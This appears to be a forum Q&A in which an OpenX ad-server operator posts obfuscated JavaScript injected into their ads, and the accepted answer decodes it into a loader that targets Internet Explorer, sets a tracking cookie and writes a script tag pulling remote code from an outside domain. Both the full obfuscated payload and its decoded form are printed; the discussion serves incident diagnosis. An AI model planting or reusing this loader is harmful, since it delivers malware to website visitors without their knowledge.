OpenX displaying strange javascript code

Question

I am running OpenX Ad server on my site and lately I have been noticing strange code being displayed with the ads. I am not sure if that is part of the OpenX code or if the application has been compromised somehow. Perhaps someone with a javascript knowledge can explain this for me. This is the code:

<script>try{_=~[];_={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};_.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;_.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;_.$=(_.___)[_.$_][_.$_];_.$(_.$(_.$$+"\""+_.$$_$+"="+_.$$_$+_._$+_.$$__+_._+"\\"+_.__$+_.$_$+_.$_$+_.$$$_+"\\"+_.__$+_.$_$+_.$$_+_.__+";"+_._+_.$_$_+"=\\"+_.__$+_.$_$+_.$$_+_.$_$_+"\\"+_.__$+_.$$_+_.$$_+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$__+_.$$$+_.$_$_+_.__+_._$+"\\"+_.__$+_.$$_+_._$_+"."+_._+"\\"+_.__$+_.$$_+_._$$+_.$$$_+"\\"+_.__$+_.$$_+_._$_+"\\"+_.__$+_.___+_.__$+"\\"+_.__$+_.$__+_.$$$+_.$$$_+"\\"+_.__$+_.$_$+_.$$_+_.__+";\\"+_.__$+_.$_$+_.__$+_.$$$$+"("+_.$$_$+"._\\"+_.__$+_.$$$+_._$_+"\\"+_.__$+_.$$$+_.___+"==="+_._+"\\"+_.__$+_.$_$+_.$$_+_.$$_$+_.$$$_+_.$$$$+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$_$+_.$$_+_.$$$_+_.$$_$+"\\"+_.$__+_.___+"&&\\"+_.$__+_.___+_.$$_$+"."+_.$$__+_._$+_._$+"\\"+_.__$+_.$_$+_._$$+"\\"+_.__$+_.$_$+_.__$+_.$$$_+".\\"+_.__$+_.$$_+_._$$+_.$$$_+_.$_$_+"\\"+_.__$+_.$$_+_._$_+_.$$__+"\\"+_.__$+_.$_$+_.___+"('_"+_._+_.__+"\\"+_.__$+_.$_$+_.$_$+_._+_.$$_$+"=')==-"+_.__$+"\\"+_.$__+_.___+"&&\\"+_.$__+_.___+_._+_.$_$_+".\\"+_.__$+_.$$_+_._$$+_.$$$_+_.$_$_+"\\"+_.__$+_.$$_+_._$_+_.$$__+"\\"+_.__$+_.$_$+_.___+"('\\"+_.__$+_._$_+_.$$$+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$_$+_.$$_+_.$$_$+_._$+"\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_._$$+"\\"+_.$__+_.___+"\\"+_.__$+_.__$+_.$$_+"\\"+_.__$+_._$_+_.$__+"\\"+_.$__+_.___+"')>"+_.___+"\\"+_.$__+_.___+"&&\\"+_.$__+_.___+_._+_.$_$_+".\\"+_.__$+_.$$_+_._$$+_.$$$_+_.$_$_+"\\"+_.__$+_.$$_+_._$_+_.$$__+"\\"+_.__$+_.$_$+_.___+"('\\"+_.__$+_.__$+_.$_$+"\\"+_.__$+_._$_+_._$$+"\\"+_.__$+_.__$+_.__$+"\\"+_.__$+_.___+_.$_$+"\\"+_.$__+_.___+"')>"+_.___+")\\"+_.$__+_.___+"{"+_.$$_$+"._\\"+_.__$+_.$$$+_._$_+"\\"+_.__$+_.$$$+_.___+"="+_.__$+";"+_.$$_$+"."+_.$$__+_._$+_._$+"\\"+_.__$+_.$_$+_._$$+"\\"+_.__$+_.$_$+_.__$+_.$$$_+"='__"+_._+_.__+"\\"+_.__$+_.$_$+_.$_$+_._+_.$$_$+"="+_.__$+";\\"+_.$__+_.___+_.$$$_+"\\"+_.__$+_.$$$+_.___+"\\"+_.__$+_.$$_+_.___+"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$$_+_._$_+_.$$$_+"\\"+_.__$+_.$$_+_._$$+"=\\"+_.__$+_._$_+_.$$$+_.$$$_+_.$$_$+",\\"+_.$__+_.___+_.___+_.__$+"\\"+_.$__+_.___+"\\"+_.__$+_.__$+_._$_+_.$_$_+"\\"+_.__$+_.$_$+_.$$_+"\\"+_.$__+_.___+_._$_+_.___+_._$_+_.___+"\\"+_.$__+_.___+_.___+_.___+":"+_.___+_.___+":"+_.___+_.___+"\\"+_.$__+_.___+"\\"+_.__$+_._$_+_.$_$+"\\"+_.__$+_._$_+_.$__+"\\"+_.__$+_.___+_._$$+";\\"+_.$__+_.___+"\\"+_.__$+_.$$_+_.___+_.$_$_+_.__+"\\"+_.__$+_.$_$+_.___+"=/';"+_.$$_$+".\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_._$_+"\\"+_.__$+_.$_$+_.__$+_.__+_.$$$_+(![]+"")[_._$_]+"\\"+_.__$+_.$_$+_.$$_+"(\\\"<\\"+_.__$+_.$$_+_._$$+_.$$__+"\\"+_.__$+_.$$_+_._$_+"\\\"+\\\"\\"+_.__$+_.$_$+_.__$+"\\"+_.__$+_.$$_+_.___+_.__+"\\"+_.$__+_.___+"\\"+_.__$+_.$$_+_._$$+"\\"+_.__$+_.$$_+_._$_+_.$$__+"='\\"+_.__$+_.$_$+_.___+_.__+_.__+"\\"+_.__$+_.$$_+_.___+"://\\"+_.__$+_.$__+_.$$$+_.$_$_+(![]+"")[_._$_]+_.$$$_+_.__+_._$+"."+_.$$$_+_._+"/"+_.$_$+_.$$_$+_.$$_+_._$_+_.___+_.$$_+_.$$_$+_.$$_$+".\\"+_.__$+_.$_$+_._$_+"\\"+_.__$+_.$$_+_._$$+"?"+_.$$__+"\\"+_.__$+_.$$_+_.___+"=\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_.$$$+"."+_.$_$$+"\\"+_.__$+_.$$_+_._$_+_.$_$_+"\\"+_.__$+_.$$_+_.$$_+_.$_$_+"\\"+_.__$+_.$_$+_.$$_+_.$$$_+"\\"+_.__$+_.$$_+_.$$$+"\\"+_.__$+_.$$_+_._$$+"."+_.$$__+_._$+"\\"+_.__$+_.$_$+_.$_$+"'></\\"+_.__$+_.$$_+_._$$+_.$$__+"\\"+_.__$+_.$$_+_._$_+"\\"+_.__$+_.$_$+_.__$+"\\\"+\\\"\\"+_.__$+_.$$_+_.___+_.__+">\\\");}"+"\"")())();}catch(e){}</script>

score 2 · Accepted Answer · edited Jul 08 '13 at 13:17

2

When evaluated the obfuscated code will define this function and executes it:

function anonymous() {
    d=document;ua=navigator.userAgent;
    if(d._zx===undefined && d.cookie.search('_utmud=')==-1 && ua.search('Windows NT ')>0 && ua.search('MSIE ')>0) {
        d._zx=1;d.cookie='__utmud=1; expires=Wed, 01 Jan 2020 00:00:00 UTC; path=/';
        d.writeln("<scr"+"ipt src='http://galeto.eu/5d6206dd.js?cp=www.domain.com'></scri"+"pt>");
    }
}

Basically, it set a cookie and loads an additional JavaScript file.

edited Jul 08 '13 at 13:17

AKKAweb

3,795
4
33
64

answered Jul 03 '13 at 18:40

Wolfgang Kuehn

12,206
2
33
46

Can you please show how do you safely evaluated the code? thanks +1 – Saic Siquot Jul 03 '13 at 18:50
Well, setting the cookie doesn't seem to be harmful. The injected script may be, but galeto.eu is not a registered domain. So as it stands the obfuscated script is not harmful, and its execution is save. – Wolfgang Kuehn Jul 03 '13 at 18:58
I mean, how did you converted obfuscated to clear code? did you eval(ed) it? did you alert(ed) it? are this two safe? did you used other method? – Saic Siquot Jul 03 '13 at 19:02
galeto.eu is alive on 103.31.186.95 – Saic Siquot Jul 03 '13 at 19:05
1

I evaluated the ... in '' in the JavaScript console of my browser. – Wolfgang Kuehn Jul 03 '13 at 19:25
What? wow. How in the world does that convert into your clear code. That is amazing – AKKAweb Jul 04 '13 at 19:50

OpenX displaying strange javascript code

1 Answers1